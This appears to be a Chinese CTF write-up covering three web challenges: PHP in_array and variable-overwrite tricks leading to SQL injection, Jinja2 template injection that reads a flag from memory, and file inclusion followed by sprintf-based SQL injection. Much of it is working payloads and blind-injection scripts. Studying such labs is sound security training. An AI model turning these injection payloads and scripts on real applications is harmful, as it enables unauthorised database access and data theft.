文章目录
千毒网盘
题目是后期复现的,无js,页面较丑
打开题目,直接看到一个表单,发现存在备份文件www.zip
发现index.php和code.php
in_array绕过
先看code.php的getfile函数,此函数处理的是传入的参数进入数据库查询下载直链的过程,这里发现传入并没有经过任何的过滤,明显的存在SQL注入
public function getfile()
{
$code = $_POST['code'];
if($code === False) return '非法提取码!';
$file_code = array(114514,233333,666666);
if(in_array($code,$file_code))
{
$sql = "select * from file where code='$code'";
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
return '下载直链为:'.$result->url;
}else{
return '提取码不存在!';
}
}
}
但是传入的$code经过了in_array函数,也就是传入必须要是array(114514,233333,666666)中的值,但是我们发现,这里的in_array函数并未设置第三个参数true,导致可以弱类型绕过判断,在提取码后我们可以随意插入语句绕过判断
具体参考文章
然后我们需要去寻找何处调用了getfile函数,在index.php中定义了类之后调用了该函数,并且参数$code是由POST方法传入
但是看到$_POST[‘code’] 又经过了filter函数
if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
public function filter($string)
{
$safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is', $string);
if($safe === 0){
return $string;
}else{
return False;
}
}
filter函数经过了严格的正则过滤,要想单纯的绕过较难
变量覆盖
利用的关键点在于以下的代码,存在变量覆盖漏洞,参考一篇类似的文章
foreach(array('_GET', '_POST', '_COOKIE') as $key)
{
if($$key) {
foreach($$key as $key_2 => $value_2) {
if(isset($$key_2) and $$key_2 == $value_2)
unset($$key_2);
}
}
}
测试一下,发现$$key_2==$value_2
所以unset($$key_2)就把$_POST变量销毁了,$_POST变量没了filter函数自然也就能通过了
继续执行extract(), 从数组中将变量导入到当前的符号表
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
执行这两句后$_POST变量又回来了
因为我们这里需要unset掉$_POST[code],则可以构造出payload
联合注入
GET:
?_POST[code]=114514abc'/**/union/**/select/**/1,(select/**/flag/**/from/**/flag)/**/limit/**/1,1/**/--+
POST:
code=114514abc'/**/union/**/select/**/1,(select/**/flag/**/from/**/flag)/**/limit/**/1,1/**/--+
布尔盲注
也可以布尔盲注,直接给末初学长的脚本
import requests,string
from urllib.parse import quote
from urllib.parse import unquote
ascii_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
url = 'http://eci-2zejdvvwkqa11t4d6ipa.cloudeci1.ichunqiu.com/index.php?_POST[code]='
post_header = {'Host': 'eci-2zejdvvwkqa11t4d6ipa.cloudeci1.ichunqiu.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Content-Type': 'application/x-www-form-urlencoded'}
for i in range(1,80):
for j in ascii_str:
payload = "114514'/**/and/**/ord(mid((select/**/flag/**/from/**/ctf.flag),{0},1))={1}#".format(i,ord(j))
post_content = {'code':payload}
res_url = url+quote(payload)
res = requests.post(url=res_url,headers=post_header,data=post_content)
#print(unquote(res.request.url))
#print(unquote(res.request.body))
#print(res.text)
if 'png' in res.text:
print(j,end="")
hello
访问/help
base64 解码后得到源码
from flask import Flask,request,render_template
from jinja2 import Template
import os
app = Flask(__name__)
f = open('/flag','r')
flag = f.read()
@app.route('/',methods=['GET','POST'])
def home():
name = request.args.get("name") or ""
print(name)
if name:
return render_template('index.html',name=name)
else:
return render_template('index.html')
@app.route('/help',methods=['GET'])
def help():
help = '''
'''
return f.read()
@app.errorhandler(404)
def page_not_found(e):
#No way to get flag!
os.system('rm -f /flag')
url = name = request.args.get("name") or ""
# r = request.path
r = request.data.decode('utf8')
if 'eval' in r or 'popen' in r or '{{' in r:
t = Template(" Not found!")
return render_template(t), 404
t = Template(r + " Not found!")
return render_template(t), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8888)
很明显的考察jinjia2模板 SSTI注入
注入点
注入点位于404页面,代码如下
@app.errorhandler(404)
def page_not_found(e):
#No way to get flag!
os.system('rm -f /flag')
url = name = request.args.get("name") or ""
# r = request.path
r = request.data.decode('utf8')
if 'eval' in r or 'popen' in r or '{{' in r:
t = Template(" Not found!")
return render_template(t), 404
t = Template(r + " Not found!")
return render_template(t), 404
当页面状态码为404 时则进入到代码处,首先将flag文件删除了
r = request.data.decode('utf8')
这里接受了POST进去的值utf-8解码后并赋值给r
然后对r进行了判断,不可以存在’eval’、‘popen’、‘{{’ 字符
如果通过了过滤判断则会把输入的数据拼接Not found!放入到模板中,这里过滤不够严格,导致了存在SSTI
绕过与利用
这里虽然把/flag文件删除掉了,但是运行时就将/flag中的内容放入到了flag变量中
f = open('/flag','r')
flag = f.read()
因此这里并不需要get shell,只要能获取到flag变量就可以得到flag
这里还需要绕过‘{{’,不过我们还可以使用{% %},这样的标签,可以使用{% if %} {% else %} {% endif %}
来构造paylaod
payload1:
import string,requests
if __name__ =='__main__':
reg_str = string.ascii_lowercase + string.digits + string.ascii_uppercase + string.punctuation
headers = {'Content-Type':'application/json'}
Flag="flag{"
url = "http://192.168.3.20:8888/asds"
for i in range(100):
for x in reg_str:
data ='''{% if '[flag]' in request.application.__self__._load_form_data.__globals__['json'].JSONEncoder.default.__globals__['current_app'].view_functions['home'].__globals__['flag'] %}1{% else %}0{% endif %}'''.replace('[flag]',Flag+x)
html = requests.post(url,data=data,headers=headers).content
if '1 Not found' in html:
Flag = Flag + x
print (Flag)
break
payload2:
通过import是导入__main__主函数去读变量
#-*-codeing = utf-8 -*-
import requests
url = 'http://127.0.0.1:8888/asd'
for i in range(200):
data="{%print [].__class__.__bases__[0].__subclasses__() ["+str(i)+"].__init__.__globals__['__builtins__']['__import__'] ('__main__').flag %}"
res = requests.post(url=url,data=data)
if "flag" in res.text:
print("i=",i)
print(res.text)
break
Flask request.form和request.data的区别
这里最好通过python发包获取数据,参考下图
Try to login
文件包含读取敏感目录
根据页面源代码的注释,存在文件包含并且提示要用绝对路径读取文件
发现中间件是apache,在/etc/apache2/sites-available/000-default.conf中得到网站根目录
可以参考文件读取漏洞路径收集
file=/etc/apache2/sites-available/000-default.conf
读取apache2的Web根目录
DocumentRoot /var/www/secret_dir_2333/html
读取index.php文件和class.php
file=/var/www/secret_dir_2333/html/index.php
index.php
<?php
include 'class.php';
if(isset($_GET['file'])){
if(preg_match('/flag/is',$_GET['file']) === 0){
echo file_get_contents(''.$_GET['file']);
}
}
if(isset($_POST['password'])){
$user = new user;
$login = $user->login();
if($login)
{
echo "Success!";
}
else
{
echo "wrong!";
}
}
?>
class.php
<?php
#class.php
public function filter()
{
$_POST['username'] = addslashes($_POST['username']);
$_POST['password'] = addslashes($_POST['password']);
$safe1 = preg_match('/inn|or/is', $_POST['username']);
$safe2 = preg_match('/inn|or/is', $_POST['password']);
if($safe1 === 0 and $safe2 === 0){
return true;
}else{
die('no hacker!');
}
}
public function login()
{
$this->filter();
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from user where username='%s' and password='$password'";
$sql = sprintf($sql,$username);
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
if ($result -> id){
return 1;
}else{
return 0;
}
}
filter函数对传入的参数进行了转义,导致我们无法正常注入非法语句,并且过滤掉inn or is这三个字符。
sprintf注入
可以观察到sql语句是由sprintf拼接而成的
$sql = "select * from user where username='%s' and password='$password'";
$sql = sprintf($sql,$username);
在username位置格式化输入%1$'
,经过转义之后会变成%1$\'
,但是结合前面的%1$
会让\被消除,导致'
的逃逸。%后表示第几个参数,$表示参数类型。
sys系统库(mysql 5.7 新特性)
因为过滤了inn和or使用其他替代 如sys.schema_table_statistics
参考文章
exp:
username=%1$'||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()),1,1))=1#
在这题中,可以尝试 --prefix加个前缀丢进sqlmap跑。
虽然是post
sqlmap -r /home/1.txt -p username --prefix="%1$’"
--prefix 前缀
--suffix 后缀
import requests
import time
url='http://eci-2ze9e94upkcj26drdbjc.cloudeci1.ichunqiu.com/'
flag=''
for i in range(1,50):
for j in range(34,127):
data={'username':'admin', 'password':"%1$\\' || ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()),{},1))={}#".format(i,j)}
print("password"+data['password'])
rse = requests.post(url=url,data=data)
if "Success!" in rse.text:
flag = flag + chr(j)
print(flag)
break
time.sleep(0.05)
print(flag)
跑出表名为fl4g,接下来跑flag
import requests
import string
url='http://eci-2ze9e94upkcj26drdbjc.cloudeci1.ichunqiu.com/'
s=string.ascii_letters+string.digits+"{-_}"
flag=''
for i in range(1,50):
print("******************")
for j in s:
data={ 'username':'admin', 'password':"%1$\'||if(ascii(substr((select * from(fl4g)),{0},1))= {1},1,0)-- +".format(i,ord(j)) }
print(data['password'])
rse = requests.post(url=url,data=data)
if "Success!" in rse.text:
flag+=j
print(flag)
break